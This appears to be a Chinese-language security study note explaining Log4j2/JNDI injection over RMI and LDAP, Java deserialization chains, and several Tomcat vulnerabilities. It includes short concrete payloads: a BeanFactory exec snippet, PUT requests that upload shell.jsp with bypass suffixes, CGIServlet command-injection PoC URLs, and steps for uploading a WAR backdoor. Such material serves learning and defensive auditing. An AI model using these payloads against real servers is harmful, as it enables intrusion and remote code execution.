2021年12月8号爆出的log4j2的远程代码执行漏洞【cve-2021-44228】,堪称史诗级核弹漏洞
JNDI注入
基本思路就是用rmi或者ldap传马
jndi就是个目录访问的服务,jndi注入就是利用动态类的加载( 通过一些方式加载远程class文件,这就是动态加载类 )来完成攻击的
JNDI
①原理
在JNDI服务中,RMI服务可以通过References类来绑定一个外部的远程对象。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。
②8u121以下(RMI)
通过JNDI和RMI的结合攻击,将对象绑定在reference中,并通过codebase接收远程对象,最后在NamingManager调用newInstance()进行类加载造成代码执行
③8u191以下(LDAP)
在8u121之后,将rmi和cosnaming的trustURLCodebase默认值设为了false,因此上述方式不再适用,但ldap的并没有禁用,所以使用的是ldap进行攻击
流程跟RMI的基本一致,只是最终调用了DirectoryManager的getObjectInstance,而RMI调用的则是NamingManager的getObjectInstance,但最后也是通过NamingManager调用newInstance()进行类加载造成代码执行
④8u191以上
a.本地工厂(BeanFactory)
前边的流程跟RMI攻击实现中是一样的,但由于本次传入的工厂是BeanFactory,所以会调用BeanFactory.getObjectInstance(),因此后续的操作会有一些不同,主要是获取 forceString中的值,并进行反射调用
resourceRef.add(new StringRefAddr("forceString", "Sentiment=eval"));
resourceRef.add(new StringRefAddr("Sentiment", "Runtime.getRuntime().exec(\"calc\")"));
b.反序列化(LDAP)
LDAP 除了使用Reference进行利用之外,还支持反序列化,因此可以根据本地依赖选择反序列化执行命令
⑤如何审计
lookup、reference、InitialContext(个人理解)
通过JNDI可以远程加载对象。
可以直接在lookup参数指定URL,例如lookup("rmi://127.0.0.1
/m1sn0w"),由于JNDI存在一个动态地址转换协议,也就是说当我们在lookup上指定一个URL的时候,就会优先于Context.PROVIDER_URL的设置进行加载。如果这个lookup参数可控的话,那么我们就可以传入恶意的url地址来控制受害者加载攻击者指定的恶意类。指定一个恶意的URL地址之后,受害者在获取完这个远程对象之后,开始调用恶意方法。但是在RMI中,调用远程方法,最终的执行是服务端去执行。只是把最终的结果以序列化的形式传递给客户端,
对于JNDI注入漏洞,我们的攻击方式如下:(利用RMI)
1、在存在注入的地方利用RMI远程加载,指向恶意的URL
2、我们在恶意的URL上搭建一个RMI服务,并绑定一个Reference对象,并指定恶意类的加载路径
3、在服务端上放置恶意类编译后的class文件
jndi注入的利用条件
1)客户端的lookup()方法参数可控
2)服务端在使用Reference时,classFactoryLocation参数可控
上面两个都是在编写程序时可能存在的脆弱点(任意一个满足就行)
JNDI利用流程
1)目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
2)攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;
3)攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
4)目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;
5)攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;
四、Reference类
为了解决上面这个问题,我们引入了一个Reference类,这个类表示对存在于命名或者目录系统以外的对象的引用。简单理解一下,就是如果RMI服务端返回的是一个Reference对象或者其子类对象的话,当客户端获取远程对象Stub的时候,我们就可以指定客户端从一个具体的服务端上去加载class文件从而完成这个类的实例化。
Reference类实例化需要三个参数:
JNDI:Java命名和目录接口Java Naming and Directory Interface,作用是为JAVA应用程序提供命名和目录访问服务的API
通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,,JNDI可访问的现有的目录及服务有
、LDAP、RMI、DNS、NIS、CORBA。RMI
RMI:远程方法调用(Remote Method Invocation),它支持存储在不同地址空间的程序级对象之间彼此进行通信,实现远程对象之间的无缝远程调用。
RMI是remote method invoke即远程方法调用,可以实现从一个java虚拟机对象调用另一个虚拟机对象上的方法
RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中,RMI体系结构是基于一个非常重要的行为定义和行为实现相分离的原则。RMI允许定义行为的代码和实现行为的代码相分离,并且运行在不同的JVM上。
不同于socket,RMI中分为三大部分:Server、Client、Registry
- Server: 提供远程的对象
- Client: 调用远程的对象
- Registry: 一个注册表,存放着远程对象的位置(ip、端口、标识符)
JNDI注入+RMI
原理其实就是把恶意的Reference类,绑定在RMI的Registry里面,在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行
JNDI注入+LDAP实现攻击
LDAP概念:LDAP轻型目录访问协议(英文:Lightweight Directory Access Protocol,缩写:LDAP,/ˈɛldæp/)是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息
有了前面的案例后,再来看这个其实也比较简单,之所以JNDI注入会配合LDAP是因为LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制。
6、7u21和8u20
7U21
主要在于AnnotationInvocationHandler的equalsImpl方法,他会遍历反射调用memberMethod.invoke(o),而 memberMethod 来自于 this.type.getDeclaredMethods() 。 也就是说, equalsImpl 这个方法是将 this.type 类中的所有方法遍历并执行了。那么,假设 this.type 是Templates类,则势必会调用到其中的 newTransformer() 或 getOutputProperties() 方法,进而触发任意代码执行。
8U20
之后JDK对AnnotationInvocationHandler类的type属性做了校验,原来的payload就会执行失败,在8u20中使用BeanContextSupport类对这个修补方式进行了绕过。
tomcat
Tomcat 主要有两大功能:
- 一是充当 Web 服务器,可以对一切静态资源的请求作出回应;常见的 Web 服务器有 Apache、Nginx、IIS 等
- 二是充当 Servlet 容器。常见的 Servlet 容器有 Tomcat、Weblogic、JBOSS 等
①PUT任意写文件
7.0.0 <= Tomcat <= 7.0.79
如果Tomcat开启了PUT方法(readonly改为false,默认关闭),攻击者可以利用PUT方法上传jsp文件,从而造成远程命令执行
tomcat允许适用put方法上传任意文件类型,但不允许jsp后缀文件上传,因此我们需要配合windows的解析漏洞,适用诸如 1.jsp%20 、 1.jsp::$DATA 则可以成功绕过检测上传成功。
注意:若是linux + tomcat5.0~9.0 ,可以上传1.jsp/绕过
方法一:使用斜杠/,斜杠在文件名中是非法的,所以会被去除(Linux和Windows中都适用)
PUT /shell.jsp/ HTTP/1.1
加'/'是为了绕过jsp文件的限制,斜杠在文件名中是非法的,所以会被去除(Linux和Windows都适用)
方法二:使用空格%20 (在Windows中适用)
在Windows下不允许文件以空格结尾,因此上传到windows会被自动去掉末尾空格
PUT /shell.jsp%20 HTTP/1.1
方法三:使用NTFS流(在Windows中适用的)
PUT /x.jsp::$DATA HTTP/1.1
访问上传的文件获取flag
②CGIServer RCE
9.0.0 <= Tomcat <= 9.0.17,8.5.0 <= Tomcat <= 8.5.39,7.0.0 <= Tomcat <= 7.0.93
该漏洞是由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入影响。
该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数。但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用。
Poc如下:
http://localhost:8080/cgi-bin/hello.bat?& C%3A%5CWindows%5CSystem32%5Cnet.exe+user
http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
③Session反序列化
当部署tomcat时配置启用了session持久化功能FileStore,且同时存在任意文件上传漏洞,攻击者可以上传.session的文件,利用可能存在的gadget反序列化,将能造成服务端远程代码执行。
原因在于FileStore类读取文件时,使用了JSESSIONID的名称,没有过滤目录穿越符号,导致攻击者可以穿越到任意目录去读取后缀为.session的序列化数据进行反序列化。
查看FileStore的load方法
load 会先将 session id 转换成 file object 查看文件是否存在, 如果存在的话会读取文件. file object 会为输入的 id 添加“.session” 后缀,然而并没有验证文件的目录。
当文件存在时, 系统会运行
getObjectInputStream 方法运行 org.apache.catalina.util.CustomObjectInputStream 获取 gadget 类, 然后就反序列化session文件了。
④AJP 文件包含到RCE
主要是tomcat对AJP协议的请求参数检查不严格所致
Tomcat 对 ajp 传递过来的数据的处理方式存在问题,导致用户可以控制
- “javax.servlet.include.request_uri”
- “javax.servlet.include.path_info”
- “javax. servlet.include.servlet_path”
这 3 个参数,从而读取任意文件,甚至可以进行 RCE。
AJP 是一个二进制的 TCP 传输协议。浏览器无法使用 AJP,而是首先由 Apache 与 Tomcat 进行 AJP 的通信,然后由 Apache反向代理,将其转换成 HTTP 服务器再允许用户进行访问。
任意文件读取问题出现在org.apache.catalina.servlets.DefaultServlet这个Servlet
构造一个AJP请求,请求会走默认的DefaultServlet并交给DefaultServlet的doGet方法处理。
doGet会调用ServeResource方法获取资源文件,调用getRelativePath方法获取要读取资源的相对路径,通过getResources方法就可以获取到了对应路径的Web资源对象。
然后再通过控制ajp控制的上述三个include属性来读取文件,通过操控上述三个属性从而可以读取到/WEB-INF下面的所有敏感文件,不限于class、xml、jar等文件。
⑤未授权+war后门上传
tomcat由于配置不当导致可以未授权进入后台,上传war后门
将jsp代码植入到war包里面,然后访问该war包即可执行jsp代码。
war包制作命令,在jdk目录下: jav cvf shell.war 1.jsp 完成制作
同时msf的exploit/multi/http/tomcat_mgr_upload模块可以执行此操作